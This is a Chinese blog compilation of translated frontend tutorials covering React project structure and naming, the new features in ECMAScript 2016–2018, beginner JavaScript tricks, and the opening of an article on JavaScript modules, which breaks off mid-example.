在上面的示例中,可能无法看到从一种方法到另一种方法的优势。 但是应用程序名称多了话,就可以看到差异, 如下:

import MediaPlanViewChannel from '/MediaPlan/MediaPlanView/MediaPlanViewChannel.jsx';
// vs
import MediaPlanViewChannel from './MediaPlan/View/Channel';

想象一下名称重复十几二十次的样子。

因此,我们根据文件 的上下文来命名文件,根据组件的相对位置来命名组件是一种更好的方式。

页面(Screen)

屏幕,顾名思义,就是我们在应用程序中展示出来的样子。

如果要对一个用户做增删改查的操作,我们需要有用户列表页面,创建新用户的页面以及编辑已有用户的页面。

我们将screens 保存在src根目录中的单独文件夹中,因为它们将根据路由定义而不是模块进行分组:

src
├─ components 
└─ screens
  └─ User
    ├─ Form.jsx
    └─ List.jsx

考虑到项目使用react-router,我们将文件Root.jsx放在在screens目录下,并在其中定义所有应用程序路由。

Root.jsx 的代码可能像下面这样:

import React, { Component } from 'react';
import { Router } from 'react-router';
import { Redirect, Route, Switch } from 'react-router-dom';

import ScreensUserForm from './User/Form';
import ScreensUserList from './User/List';

const ScreensRoot = () => (
  <Router>
    <Switch>
      <Route path="/user/list" component={ScreensUserList} />
      <Route path="/user/create" component={ScreensUserForm} />
      <Route path="/user/:id" component={ScreensUserForm} />
    </Switch>
  </Router>
);

export default ScreensRoot;

请注意,我们将所有页面放在一个目录中,这个目录以路由名称命名,user/ -> User/。尝试为每个父级路由建立一个目录,在这个目录中组织子路由。 在这种情况下,我们创建了User目录,并将List 页面和Form页面放入其中。这种方式使你看一眼 url 就能够轻松定位当前路由渲染的页面。

单个页面可用于渲染两条不同的路线,如上所述,其中包含用于创建和编辑用户的路线。

你可能会注意到所有组件都将Screen作为其名称的前缀。 当组件位于components 目录之外时,我们应该根据它到src文件夹的相对路径来命名。 位于src/screens/User/List.jsx 的组件应命名为ScreensUserList

创建 Root.jsx 后,目录的结构如下:

src
├─ components 
└─ screens
  ├─ User
  │ ├─ Form.jsx
  │ └─ List.jsx
  └─ Root.jsx

如果你对一个页面长什么样子还有疑问,看看下面的示例,它就是用户表单的页面。

import React from 'react';
import UserForm from '../../components/User/Form/Form';

const ScreensUserForm = ({ match: { params } }) => (
  <div>
    <h1>
      {`${!params.id ? 'Create' : 'Update'}`} User
    </h1>
    <UserForm id={params.id} />
  </div>
);

export default ScreensUserForm;

最后,我们的应用程序结构如下:

src
├─ components 
│  ├─ User
│  │ ├─ Form
│  │ │ ├─ Form.jsx
│  │ │ └─ Form.css
│  │ └─ List.jsx
│  └─ UI 
│
└─ screens
  ├─ User
  │ ├─ Form.jsx
  │ └─ List.jsx
  └─ Root.jsx

简要回顾

  • 展示组件和容器组件保存在src/components

  • 按模块/功能对组件进行划分

  • UI组件放大src/components/UI

  • 保持页面简单,结构和代码最少

  • 通过路由定义组织页面。对于 /user/list 路由地址来说,我们会有一个页面在 /src/screens/User/List.jsx

  • 组件根据其与组件或src的相对路径进行相应命名。 鉴于此,位于src/components/User/List.jsx的组件将被命名为UserList。 位于src/screens/User/List的组件将命名为ScreensUserList

  • 组件和目录同名时,不要在使用组件的时候重复这个名字。考虑这样一个场景,处于 src/components/User/List/List.jsx 位置的组件会被命名为 UserList 而不是 UserListList

** 原文:https://hackernoon.com/structuring-projects-and-naming-components-in-react-1261b6e18d76 **

你的点赞是我持续分享好东西的动力,欢迎点赞!

欢迎加入前端大家庭,里面会经常分享一些技术资源。

image

ECMAScript 2016、2017和2018中所有新特性。

跟踪JavaScript (ECMAScript)中的新内容是很困难的,而且更难找到有用的代码示例。

因此,在本文中将介绍 TC39(最终草案) 在ES2016、ES2017和ES2018中添加的已完成提案中列出的所有18个特性,并给出有用的示例。

1.Array.prototype.includes

include 是数组上的一个简单实例方法,可以轻松查找数组中是否有指定内容(包括 NaN)。

2.求幂操作符

像加法和减法这样的数学运算分别有像 + 和 - 这样运算符。与它们类似,** 运算符通常用于指数运算。在ECMAScript 2016中,引入了 ** 代替 Math.pow。



1.Object.values()

Object.values()是一个类似于Object.keys()的新函数,但返回对象自身属性的所有值,不包括原型链中的任何值。

2.Object.entries()

Object.entries()与Object.keys 类似,但它不是仅返回键,而是以数组方式返回键和值。 这使得在循环中使用对象或将对象转换为映射等操作变得非常简单。

例一:

例二:

3.字符串填充

在String.prototype中添加了两个实例方法:String.prototype.padStart 和 String.prototype.padEnd, 允许在初始字符串的开头或末尾追加/前置空字符串或其他字符串。

'someString'.padStart(numberOfCharcters [,stringForPadding]); 

'5'.padStart(10) // '          5'
'5'.padStart(10, '=*') //'=*=*=*=*=5'
'5'.padEnd(10) // '5         '
'5'.padEnd(10, '=*') //'5=*=*=*=*='

当我们想要在漂亮的打印显示或终端打印进行对齐时,这非常有用。

3.1 padStart 例子:

在下面的例子中,有一个不同长度的数字列表。我们希望在“0”为追加符让所有项长度都为10位,以便显示,我们可以使用padStart(10, '0')轻松实现这一点。

3.2 padEnd 例子:

当我们打印多个不同长度的项目并想要右对齐它们时,padEnd非常有用。

下面的示例是关于padEnd、padStart和 Object.entries 的一个很好的实际示例:

const cars = {
  '🚙BMW': '10',
  '🚘Tesla': '5',
  '🚖Lamborghini': '0'
}

Object.entries(cars).map(([name, count]) => {
  console.log(`${name.padEnd(20, ' -')}  Count: ${count.padStart(3, '0')}`)
})
// 打印
// 🚙BMW - - - - - - -  Count: 010
// 🚘Tesla - - - - - -  Count: 005
// 🚖Lamborghini - - -  Count: 000

####3.3 ⚠️ 注意padStart和padEnd 在Emojis和其他双字节字符上的使用

Emojis和其他双字节字符使用多个unicode字节表示。所以padStart padEnd可能不会像预期的那样工作!⚠️

例如:假设我们要垫达到10个字符的字符串的心❤️emoji。结果如下:

'heart'.padStart(10, "❤️"); // prints.. '❤️❤️❤heart'

这是因为 ❤️ 长2个字节('\ u2764 \ uFE0F')! 单词 heart 是5个字符,所以我们只剩下5个字符来填充。 所以 JS 使用 ('\u2764\uFE0F' ) 填充两颗心并生成 ❤️❤️。 对于最后一个,它只使用 ('\u2764\uFE0F' ) 的第一个字节(\u2764)来生成,所以是 ❤;

4.Object.getOwnPropertyDescriptors

此方法返回给定对象的所有属性的所有属性(包括getter setter set方法),添加这个的主要目的是允许浅 拷贝/克隆到另一个对象中的对象,类似 bject.assign。

Object.assign 浅拷贝除原始对象的 getter 和 setter 方法之外的所有属性。

下面的示例显示了 Object.assign 和 Object.getOwnPropertyDescriptors 以及Object.defineProperties 之间的区别,以将原始对象 Car 复制到新对象 ElectricCar 中。 可以看到使用 Object.getOwnPropertyDescriptors,discount 的 getter 和 setter 函数也被复制到目标对象中。

使用 Object.defineProperties

var Car = {
  name: 'BMW',
  price: 1000000,
  set discount(x) {
   this.d = x;
  },
  get discount() {
   return this.d;
  },
 };
 console.log(Object.getOwnPropertyDescriptor(Car, 'discount'));
 // 打印
 // { 
 //   get: [Function: get],
 //   set: [Function: set],
 //   enumerable: true,
 //   configurable: true
 // }
 // 使用 Object.assign 拷贝对象
 const ElectricCar = Object.assign({}, Car);
 //Print details of ElectricCar object's 'discount' property
 console.log(Object.getOwnPropertyDescriptor(ElectricCar, 'discount'));
 // 打印
 // { 
 //   value: undefined,
 //   writable: true,
 //   enumerable: true,
 //   configurable: true 
   
 // }
 // 
 //⚠️请注意,“discount” 属性的 ElectricCar 对象中缺少getter和setter!👎👎
 
 //Copy Car's properties to ElectricCar2 using Object.defineProperties 
 //and extract Car's properties using Object.getOwnPropertyDescriptors
 const ElectricCar2 = Object.defineProperties({}, Object.getOwnPropertyDescriptors(Car));
 //Print details of ElectricCar2 object's 'discount' property
 console.log(Object.getOwnPropertyDescriptor(ElectricCar2, 'discount'));
 //prints..
 // { get: [Function: get],  👈🏼👈🏼👈🏼
 //   set: [Function: set],  👈🏼👈🏼👈🏼
 //   enumerable: true,
 //   configurable: true 
 // }
 // 请注意,在ElectricCar2对象中存在“discount”属性的getter和setter !

5.函数参数的尾逗号

ES2017允许函数的最后一个参数有尾逗号(trailing comma), 此前,函数定义和调用时,都不允许最后一个参数后面出现逗号。这一变化将鼓励开发人员停止丑陋的“行以逗号开头”的习惯。这对于版本管理系统来说,就会显示添加逗号的那一行也发生了变动。

6.Async/Await

到目前为止,个人感受是这是最重要和最有用的功能。 async 函数允许我们不处理回调地狱,并使整个代码看起来很简单。

async 关键字告诉 JavaScript 编译器以不同的方式对待函数。每当编译器到达函数中的 await 关键字时,它就会暂停。它假定 wait 之后的表达式返回一个 promise ,并在进一步移动之前等待该 promise 被 resolved 或 rejected。

在下面的示例中,getAmount 函数调用两个异步函数getUser和getBankBalance。使用 async await更加优雅和简单达到有有序的调用 getUser 与 getBankBalance。

6.1.async 函数默认返回一个 promise

如果您正在等待 async 函数的结果,则需要使用 Promise 的 then 语法来捕获其结果。

在以下示例中,我们希望使用 console.log 来打印结果但是不在 doubleAndAdd 函数里面操作。 因为 async 返回是一个 promise 对象,所以可以在 then 里面执行我们一些打印操作。

6.2 并行调用 async/await

在前面的例子中,我们调用doubleAfterlSec ,但每次我们等待一秒钟(总共2秒)。 相反,我们可以使用 Promise.all 将它并行化为一个并且互不依赖于。

6.3 async/await 函数对错误的处理

在使用async/wait时,有多种方法可以处理错误。

方法一:在函数内使用 try catch

async function doubleAndAdd(a, b) {
  try {
   a = await doubleAfter1Sec(a);
   b = await doubleAfter1Sec(b);
  } catch (e) {
   return NaN; //return something
  }
 return a + b;
 }

 doubleAndAdd('one', 2).then(console.log); // NaN
 doubleAndAdd(1, 2).then(console.log); // 6
 function doubleAfter1Sec(param) {
  return new Promise((resolve, reject) => {
   setTimeout(function() {
    let val = param * 2;
    isNaN(val) ? reject(NaN) : resolve(val);
   }, 1000);
  });
 }

方法二:在 await 后使用 catch 捕获错误

// 方法二:在 await 后使用 catch 获取错误
async function doubleAndAdd(a, b) {
  a = await doubleAfter1Sec(a).catch(e => console.log('"a" is NaN')); // 👈
  b = await doubleAfter1Sec(b).catch(e => console.log('"b" is NaN')); // 👈
  if (!a || !b) {
   return NaN;
  }
  return a + b;
 }
 
 doubleAndAdd('one', 2).then(console.log); // NaN  and logs:  "a" is NaN
 doubleAndAdd(1, 2).then(console.log); // 6
 function doubleAfter1Sec(param) {
  return new Promise((resolve, reject) => {
   setTimeout(function() {
    let val = param * 2;
    isNaN(val) ? reject(NaN) : resolve(val);
   }, 1000);
  });
 }

方法三:在整个的 async-await 函数捕获错误

//方法三:在整个的 async-await 函数捕获错误
async function doubleAndAdd(a, b) {
  a = await doubleAfter1Sec(a);
  b = await doubleAfter1Sec(b);
  return a + b;
 }
 
 doubleAndAdd('one', 2)
 .then(console.log)
 .catch(console.log); // 👈👈🏼<------- use "catch"
 function doubleAfter1Sec(param) {
  return new Promise((resolve, reject) => {
   setTimeout(function() {
    let val = param * 2;
    isNaN(val) ? reject(NaN) : resolve(val);
   }, 1000);
  });
 }

7.共享内存 和 Atomics

这是一个巨大的、相当高级的特性,是JS引擎的核心增强。

其主要原理是在 JavaScript 中引入某种多线程特性,以便JS开发人员将来可以通过允许自己管理内存而不是让 JS 引擎管理内存来编写高性能的并发程序。

这是通过一种名为 SharedArrayBuffer (即 共享数组缓冲区) 的新类型的全局对象实现的,该对象本质上是将数据存储在共享内存空间中。因此,这些数据可以在主JS线程和web工作线程之间共享。

到目前为止,如果我们想在主 JS 线程和 web 工作者之间共享数据,我们必须复制数据并使用postMessage 将其发送到另一个线程。

你只需使用SharedArrayBuffer,数据就可以立即被主线程和多个web工作线程访问。workers 之间的协调变得更简单和更快(与 postMessage() 相比)。

但是在线程之间共享内存会导致竞争条件。为了帮助避免竞争条件,引入了 “Atomics” 全局对象。 Atomics 提供了各种方法来在线程使用其数据时锁定共享内存。 它还提供了安全地更新该共享内存中的搜索数据的方法。

如果你这对个感兴趣,可以阅读以下文章:

8. Tagged Template literal restriction removed

首先,我们需要知道的什么是 Template literals(“标记的模板文字”),以便更好地理解这个特性。Template literals是一个ES2015特性,它使用反引号包含一个字符串字面量,并且支持嵌入表达式和换行,如:

下面的例子显示,我们的自定义“Tag” 函数 greet 添加了一天中的时间,比如“Good Morning!” “Good afternoon” 等等,取决于一天中的时间字符串的文字和返回自定义字符串。

function greet(hardCodedPartsArray, ...replacementPartsArray) {
  console.log(hardCodedPartsArray); //[ 'Hello ', '!' ]
  console.log(replacementPartsArray); //[ 'Raja' ]
  let str = '';
  hardCodedPartsArray.forEach((string, i) => {
   if (i < replacementPartsArray.length) {
    str += `${string} ${replacementPartsArray[i] || ''}`;
   } else {
    str += `${string} ${timeGreet()}`; //<-- 追加 Good morning/afternoon/evening here
   }
  });
  return str;
 }

 const firstName = 'Raja';
 const greetings = greet`Hello ${firstName}!`; //👈🏼<-- Tagged literal
 console.log(greetings); //'Hello  Raja! Good Morning!' 🔥
 function timeGreet() {
  const hr = new Date().getHours();
  return hr < 12
   ? 'Good Morning!'
   : hr < 18 ? 'Good Afternoon!' : 'Good Evening!';
 }

现在我们讨论了什么是“标记”函数,许多人希望在不同的领域中使用这个特性,比如在Terminal中用于命令,在组成 uri 的 HTTP 请求中,等等。

** ⚠️ 带标记字符串文字的问题**

问题是ES2015和ES2016规范不允许使用像“\u”(unicode)、“\x”(十六进制)这样的转义字符,除非它们看起来完全像“\ u00A9”或\u{2F804}或\xA9。

因此,如果你有一个内部使用其他域规则(如终端规则)的标记函数,可能需要使用看起来不像\ u0049或\ u {@ F804}的\ ubla123abla,那么你会得到一个语法错误,

function myTagFunc(str) { 
 return { "cooked": "undefined", "raw": str.raw[0] }
} 

var str = myTagFunc `hi \ubla123abla`; //call myTagFunc

str // { cooked: "undefined", raw: "hi \\unicode" }

9.用于正则表达式的“dotall”标志

目前在正则表达式中,虽然点(“.”)应该匹配单个字符,但它不匹配像 \n \r \f 等新行字符。

例如:

//Before
/first.second/.test('first\nsecond'); //false

这种增强使 点 运算符能够匹配任何单个字符。为了确保它不会破坏任何东西,我们需要在创建正则表达式时使用\s标志。

//ECMAScript 2018
/first.second/s.test('first\nsecond'); //true   Notice: /s 👈🏼

更多的方法,请看这里

10.RegExp Named Group Captures

这种增强 RegExp特性借鉴于像Python、Java等其他语言,因此称为“命名组”。这个特性允许编写开发人员以(…)格式为 RegExp 中的组的不同部分提供名称(标识符),使用可以用这个名称轻松地获取他们需要的任何组。

10.1 Named group 的基础用法

在下面的示例中,我们使用 (?) (?) 和 (?) 名称对日期正则表达式的不同部分进行分组。结果对象现在将包含一个groups属性,该属性具有 year、month和 day 的相应值。

let re1 = /(\d{4})-(\d{2})-(\d{2})/;
let result1 = re1.exec('2015-01-02');
console.log(result1);
// [ '2015-01-02', '2015', '01', '02', index: 0, input: '2015-01-02' ]

// ECMAScript 2018
let re2 = /(?<year>\d{4})-(?<month>\d{2})-(?<day>\d{2})/u;
let result2 = re2.exec('2015-01-02');
console.log(result2);

// ["2015-01-02", "2015", "01", "02", index: 0, input: "2015-01-02", 
//    groups: {year: "2015", month: "01", day: "02"}
// ]

console.log(result2.groups.year); // 2015

10.2 在 regex 内使用 Named groups

使用\k<组名>格式来反向引用正则表达式本身中的组,例如:

// 在下面的例子中,我们有一个包合的“水果”组。
// 它既可以配“苹果”,也可以配“橘子”,
// 我们可以使用 “\k<group name>” (\k<fruit>) 来反向引用这个组的结果,
// 所以它可以匹配“=”相同的单词

let sameWords = /(?<fruit>apple|orange)=\k<fruit>/u;

sameWords.test('apple=apple') // true
sameWords.test('orange=orange') // true
sameWords.test('apple=orange') // false

10.3 在 String.prototype.replace 中使用 named groups

在 String.prototype.replace 方法中使用 named groups。所以我们能更快捷的交换词。

例如,把 “firstName, lastName” 改成 “lastName, firstName”。

let re = /(?<firstName>[A-Za-z]+) (?<lastName>[A-Za-z]+$)/u;

'Hello World'.replace(re, `$<lastName>, $<firstName>`) // "World, Hello"

11.对象的 Rest 属性

rest操作 …(三个点)允许挑练我们需要的属性。

11.1 通过 Rest 解构你需要的属性

let { firstName, age, ...remaining } = {
  firstName: '王',
  lastName: '智艺',
  age: 27,
  height: '1.78',
  race: '黄'
}

firstName; // 王
age; // 27
remaining; // { lastName: "智艺", height: "1.78", race: "黄" }

12.对象的扩展属性

扩展 和 解析 的 三个点是一样的,但是不同的是你可以用 扩展 去新建或者组合一个新对象。

扩展 是对齐赋值的右运算符, 而 解构 是左运算符。

const person = { fName: '小明', age: 20 };
const account = { name: '小智', amount: '$1000'};

const personAndAccount = { ...person, ...account };
personAndAccount; // {fName: "小明", age: 20, name: "小智", amount: "$1000"}

13.正则表达式反向(lookbehind)断言

断言(Assertion)是一个对当前匹配位置之前或之后的字符的测试, 它不会实际消耗任何字符,所以断言也被称为“非消耗性匹配”或“非获取匹配”。

正则表达式的断言一共有 4 种形式:

  • (?=pattern) 零宽正向肯定断言(zero-width positive lookahead assertion)
  • (?!pattern) 零宽正向否定断言(zero-width negative lookahead assertion)
  • (?<=pattern) 零宽反向肯定断言(zero-width positive lookbehind assertion)
  • (?<!pattern) 零宽反向否定断言(zero-width negative lookbehind assertion)

你可以使用组(?<=…) 去正向断言,也可以用 (?<!…) 去取反。

正向断言: 我们想确保 # 在 winning 之前。(就是#winning),想正则匹配返回 winning。下面是写法:

反向断言:匹配一个数字,有 € 字符而没有 $ 字符在前面的数字。

更多内容可以参考:S2018 新特征之:正则表达式反向(lookbehind)断言

14. RegExp Unicode Property Escapes

用正则去匹配 Unicode 字符是很不容易的。像 \w , \W , \d 这种只能匹配英文字符和数字。但是其他语言的字符怎么办呢,比如印度语,希腊语?

例如 Unicode 数据库组里把所有的印度语字符,标识为 Script = Devanagari。还有一个属性 Script_Extensions, 值也为 Devanagari。 所以我们可以通过搜索 Script=Devanagari,得到所有的印度语。

Devanagari 可以用于印度的各种语言,如Marathi, Hindi, Sanskrit。

在 ECMAScript 2018 里, 我们可以使用 \p 和 {Script=Devanagari} 匹配那些所有的印度语字符。也就是说 \p{Script=Devanagari} 这样就可以匹配。

//The following matches multiple hindi character
/^\p{Script=Devanagari}+$/u.test('हिन्दी'); //true  
//PS:there are 3 hindi characters h

同理,希腊语的语言是 Script_Extensions 和 Script 的值等于 Greek 。也就是用Script_Extensions=Greek or Script=Greek 这样就可以匹配所有的希腊语,也就是说,我们用 \p{Script=Greek} 匹配所有的希腊语。

进一步说,Unicode 表情库里存了各式各样的布尔值,像 Emoji, Emoji_Component, Emoji_Presentation, Emoji_Modifier, and Emoji_Modifier_Base 的值,都等于 true。所以我们想搜 Emoji 等于 ture,就能搜到所有的表情。

我们用 \p{Emoji} ,\Emoji_Modifier 匹配所有的表情。

参考文献:

  1. ECMAScript 2018 Proposal
  2. https://mathiasbynens.be/notes/es-unicode-property-escapes

15. Promise.prototype.finally()

finally() 是 Promise 新增的一个实例方法。意图是允许在 resolve/reject 之后执行回调。finally 没有返回值,始终会被执行。

让我们看看各种情况。

16.异步迭代(Asynchronous Iteration)

这是一个极其好用的新特性。让我们能够非常容易的创建异步循环代码。

原文: Here are examples of everything new in ECMAScript 2016, 2017, and 2018

你的点赞是我持续分享好东西的动力,欢迎点赞!

欢迎加入前端大家庭,里面会经常分享一些技术资源。

11 种在大多数教程中找不到的JavaScript技巧

当我开始学习JavaScript时,我把我在别人的代码、code challenge网站以及我使用的教程之外的任何地方发现的每一个节省时间的技巧都列了一个清单。

在这篇文章中,我将分享11条我认为特别有用的技巧。这篇文章是为初学者准备的,但我希望即使是中级JavaScript开发人员也能在这个列表中找到一些新的东西。

1..过滤唯一值

Set对象类型是在ES6中引入的,配合展开操作...一起,我们可以使用它来创建一个新数组,该数组只有唯一的值。

const array = [1, 1, 2, 3, 5, 5, 1]
const uniqueArray = [...new Set(array)];
console.log(uniqueArray); // Result: [1, 2, 3, 5]

在ES6之前,隔离惟一值将涉及比这多得多的代码。

此技巧适用于包含基本类型的数组:undefinednullbooleanstringnumber。 (如果你有一个包含对象,函数或其他数组的数组,你需要一个不同的方法!)

2. 与或运算

三元运算符是编写简单(有时不那么简单)条件语句的快速方法,如下所示:

x > 100 ? 'Above 100' : 'Below 100';
x > 100 ? (x > 200 ? 'Above 200' : 'Between 100-200') : 'Below 100';

但有时使用三元运算符处理也会很复杂。 相反,我们可以使用'与'&&和'或'|| 逻辑运算符以更简洁的方式书写表达式。 这通常被称为“短路”或“短路运算”。

它是怎么工作的

假设我们只想返回两个或多个选项中的一个。

使用&&将返回第一个条件为的值。如果每个操作数的计算值都为true,则返回最后一个计算过的表达式。

let one = 1, two = 2, three = 3;
console.log(one && two && three); // Result: 3
console.log(0 && null); // Result: 0

使用||将返回第一个条件为的值。如果每个操作数的计算结果都为false,则返回最后一个计算过的表达式。

let one = 1, two = 2, three = 3;
console.log(one || two || three); // Result: 1
console.log(0 || null); // Result: null

例一

假设我们想返回一个变量的长度,但是我们不知道变量的类型。

我们可以使用if/else语句来检查foo是可接受的类型,但是这可能会变得非常冗长。或运行可以帮助我们简化操作:

return (foo || []).length

如果变量foo是true,它将被返回。否则,将返回空数组的长度:0

例二

你是否遇到过访问嵌套对象属性的问题? 你可能不知道对象或其中一个子属性是否存在,这可能会导致令人沮丧的错误。

假设我们想在this.state中访问一个名为data的属性,但是在我们的程序成功返回一个获取请求之前,data 是未定义的。

根据我们使用它的位置,调用this.state.data可能会阻止我们的应用程序运行。 为了解决这个问题,我们可以将其做进一步的判断:

if (this.state.data) {
  return this.state.data;
} else {
  return 'Fetching Data';
}

但这似乎很重复。 '或' 运算符提供了更简洁的解决方案:

return (this.state.data || 'Fetching Data');

一个新特性: Optional Chaining

过去在 Object 属性链的调用中,很容易因为某个属性不存在而导致之后出现Cannot read property xxx of undefined的错误。

optional chaining 就是添加了?.这么个操作符,它会先判断前面的值,如果是 nullundefined,就结束调用、返回 undefined

例如,我们可以将上面的示例重构为 this.state.data?.()。或者,如果我们主要关注state 是否已定义,我们可以返回this.state?.data

该提案目前处于第1阶段,作为一项实验性功能。 你可以在这里阅读它,你现在可以通过Babel使用你的JavaScript,将 @babel/plugin-proposal-optional-chaining添加到你的.babelrc文件中。

3.转换为布尔值

除了常规的布尔值truefalse之外,JavaScript还将所有其他值视为 ‘truthy’ 或**‘falsy’**。

除非另有定义,否则 JavaScript 中的所有值都是'truthy',除了 0“”nullundefinedNaN,当然还有false,这些都是**'falsy'**

我们可以通过使用负算运算符轻松地在truefalse之间切换。它也会将类型转换为“boolean”。

const isTrue  = !0;
const isFalse = !1;
const alsoFalse = !!0;
console.log(isTrue); // Result: true
console.log(typeof true); // Result: "boolean"          

4. 转换为字符串

要快速地将数字转换为字符串,我们可以使用连接运算符+后跟一组空引号""

const val = 1 + "";
console.log(val); // Result: "1"
console.log(typeof val); // Result: "string"

5. 转换为数字

使用加法运算符+可以快速实现相反的效果。

let int = "15";
int = +int;
console.log(int); // Result: 15
console.log(typeof int); Result: "number"

这也可以用于将布尔值转换为数字,如下所示

 console.log(+true);  // Return: 1
 console.log(+false); // Return: 0

在某些上下文中,+将被解释为连接操作符,而不是加法操作符。当这种情况发生时(你希望返回一个整数,而不是浮点数),您可以使用两个波浪号:~~

连续使用两个波浪有效地否定了操作,因为— ( — n — 1) — 1 = n + 1 — 1 = n。 换句话说,~—16 等于15。

const int = ~~"15"
console.log(int); // Result: 15
console.log(typeof int); Result: "number"

虽然我想不出很多用例,但是按位NOT运算符也可以用在布尔值上:~true = -2~false = -1

6.性能更好的运算

从ES7开始,可以使用指数运算符**作为幂的简写,这比编写Math.pow(2, 3) 更快。 这是很简单的东西,但它之所以出现在列表中,是因为没有多少教程更新过这个操作符。

console.log(2 ** 3); // Result: 8

这不应该与通常用于表示指数的^符号相混淆,但在JavaScript中它是按位异或运算符。

在ES7之前,只有以2为基数的幂才存在简写,使用按位左移操作符<<

Math.pow(2, n);
2 << (n - 1);
2**n;

例如,2 << 3 = 16等于2 ** 4 = 16

7. 快速浮点数转整数

如果希望将浮点数转换为整数,可以使用Math.floor()Math.ceil()Math.round()。但是还有一种更快的方法可以使用|(位或运算符)将浮点数截断为整数。

console.log(23.9 | 0);  // Result: 23
console.log(-23.9 | 0); // Result: -23

|的行为取决于处理的是正数还是负数,所以最好只在确定的情况下使用这个快捷方式。

如果n为正,则n | 0有效地向下舍入。 如果n为负数,则有效地向上舍入。 更准确地说,此操作将删除小数点后面的任何内容,将浮点数截断为整数。

你可以使用~~来获得相同的舍入效果,如上所述,实际上任何位操作符都会强制浮点数为整数。这些特殊操作之所以有效,是因为一旦强制为整数,值就保持不变。

删除最后一个数字

按位或运算符还可以用于从整数的末尾删除任意数量的数字。这意味着我们不需要使用这样的代码来在类型之间进行转换。

let str = "1553"; 
Number(str.substring(0, str.length - 1));

相反,按位或运算符可以这样写:

console.log(1553 / 10   | 0)  // Result: 155
console.log(1553 / 100  | 0)  // Result: 15
console.log(1553 / 1000 | 0)  // Result: 1

8. 类中的自动绑定

我们可以在类方法中使用ES6箭头表示法,并且通过这样做可以隐含绑定。 这通常会在我们的类构造函数中保存几行代码,我们可以愉快地告别重复的表达式,例如this.myMethod = this.myMethod.bind(this)

import React, { Component } from React;
export default class App extends Compononent {
  constructor(props) {
  super(props);
  this.state = {};
  }
myMethod = () => {
    // This method is bound implicitly!
  }
render() {
    return (
      <>
        <div>
          {this.myMethod()}
        </div>
      </>
    )
  }
};

9. 数组截断

如果要从数组的末尾删除值,有比使用splice()更快的方法。

例如,如果你知道原始数组的大小,您可以重新定义它的length属性,就像这样

let array = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9];
array.length = 4;
console.log(array); // Result: [0, 1, 2, 3]

这是一个特别简洁的解决方案。但是,我发现slice()方法的运行时更快。如果速度是你的主要目标,考虑使用:

let array = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9];
array = array.slice(0, 4);
console.log(array); // Result: [0, 1, 2, 3]

10. 获取数组中的最后一项

数组方法slice()可以接受负整数,如果提供它,它将接受数组末尾的值,而不是数组开头的值。

let array = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9];
console.log(array.slice(-1)); // Result: [9]
console.log(array.slice(-2)); // Result: [8, 9]
console.log(array.slice(-3)); // Result: [7, 8, 9]

11.格式化JSON代码

最后,你之前可能已经使用过JSON.stringify,但是您是否意识到它还可以帮助你缩进JSON?

stringify()方法有两个可选参数:一个replacer函数,可用于过滤显示的JSON和一个空格值。

console.log(JSON.stringify({ alpha: 'A', beta: 'B' }, null, '\t'));
// Result:
// '{
//     "alpha": A,
//     "beta": B
// }'

原文:https://medium.com/@bretcameron/12-javascript-tricks-you-wont-find-in-most-tutorials-a9c9331f169d

你的点赞是我持续分享好东西的动力,欢迎点赞!

欢迎加入前端大家庭,里面会经常分享一些技术资源。

image

20.JavaScript 是如何工作的:模块的构建以及对应的打包工具

如果你是 JavaScript 的新手,一些像 “module bundlers vs module loaders”、“Webpack vs Browserify” 和 “AMD vs.CommonJS” 这样的术语,很快让你不堪重负。

JavaScript 模块系统可能令人生畏,但理解它对 Web 开发人员至关重要。

在这篇文章中,我将以简单的言语(以及一些代码示例)为你解释这些术语。 希望这对你有会有帮助!

什么是模块?

好作者能将他们的书分成章节,优秀的程序员将他们的程序划分为模块。

就像书中的章节一样,模块只是文字片段(或代码,视情况而定)的集群。然而,好的模块是高内聚低松耦的,具有不同的功能,允许在必要时对它们进行替换、删除或添加,而不会扰乱整体功能。

为什么使用模块?

使用模块有利于扩展、相互依赖的代码库,这有很多好处。在我看来,最重要的是:

1)可维护性: 根据定义,模块是高内聚的。一个设计良好的模块旨在尽可能减少对代码库部分的依赖,这样它就可以独立地增强和改进,当模块与其他代码片段解耦时,更新单个模块要容易得多。

回到我们的书的例子,如果你想要更新你书中的一个章节,如果对一个章节的小改动需要你调整每一个章节,那将是一场噩梦。相反,你希望以这样一种方式编写每一章,即可以在不影响其他章节的情况下进行改进。

2)命名空间: 在 JavaScript 中,顶级函数范围之外的变量是全局的(这意味着每个人都可以访问它们)。因此,“名称空间污染”很常见,完全不相关的代码共享全局变量。

在不相关的代码之间共享全局变量在开发中是一个大禁忌。正如我们将在本文后面看到的,通过为变量创建私有空间,模块允许我们避免名称空间污染。

3)可重用性:坦白地说:我们将前写过的代码复制到新项目中。 例如,假设你从之前项目编写的一些实用程序方法复制到当前项目中。

这一切都很好,但如果你找到一个更好的方法来编写代码的某些部分,那么你必须记得回去在曾经使用过的其他项目更新它。

这显然是在浪费时间。如果有一个我们可以一遍又一遍地重复使用的模块,不是更容易吗?

如何创建模块?

有多种方法来创建模块,来看几个:

模块模式

模块模式用于模拟类的概念(因为 JavaScript 本身不支持类),因此我们可以在单个对象中存储公共和私有方法和变量——类似于在 Java 或 Python 等其他编程语言中使用类的方式。这允许我们为想要公开的方法创建一个面向公共的 API,同时仍然将私有变量和方法封装在闭包范围中。

有几种方法可以实现模块模式。在第一个示例中,将使用匿名闭包,将所有代码放在匿名函数中来帮助我们实现目标。(**记住:**在 JavaScript 中,函数是创建新作用域的唯一方法。)

例一:匿名闭包

(function () {
  // 将这些变量放在闭包范围内实现私有化
  
  var myGrades = [93, 95, 88, 0, 55, 91];
  
  var average = function() {
    var total = myGrades.reduce(function(accumulator, item) {
      return accumulator + item}, 0);
    
      return '平均分 ' + total / myGrades.length + '.';
  }

  var failing = function(){
    var failingGrades = myGrades.filter(function(item) {
      return item < 70;});
      
    return '挂机科了 ' + failingGrades.length + ' 次。';
  }

  console.log(failing()); // 挂机科了次

}());

使用这个结构,匿名函数就有了自己的执行环境或“闭包”,然后我们立即执行。这让我们可以从父(全局)命名空间隐藏变量。

这种方法的优点是,你可以在这个函数中使用局部变量,而不会意外地覆盖现有的全局变量,但仍然可以访问全局变量,就像这样:

    var global = '你好,我是一个全局变量。)';
    
   (function () {
      // 将这些变量放在闭包范围内实现私有化
      
      var myGrades = [93, 95, 88, 0, 55, 91];
      
      var average = function() {
        var total = myGrades.reduce(function(accumulator, item) {
          return accumulator + item}, 0);
        
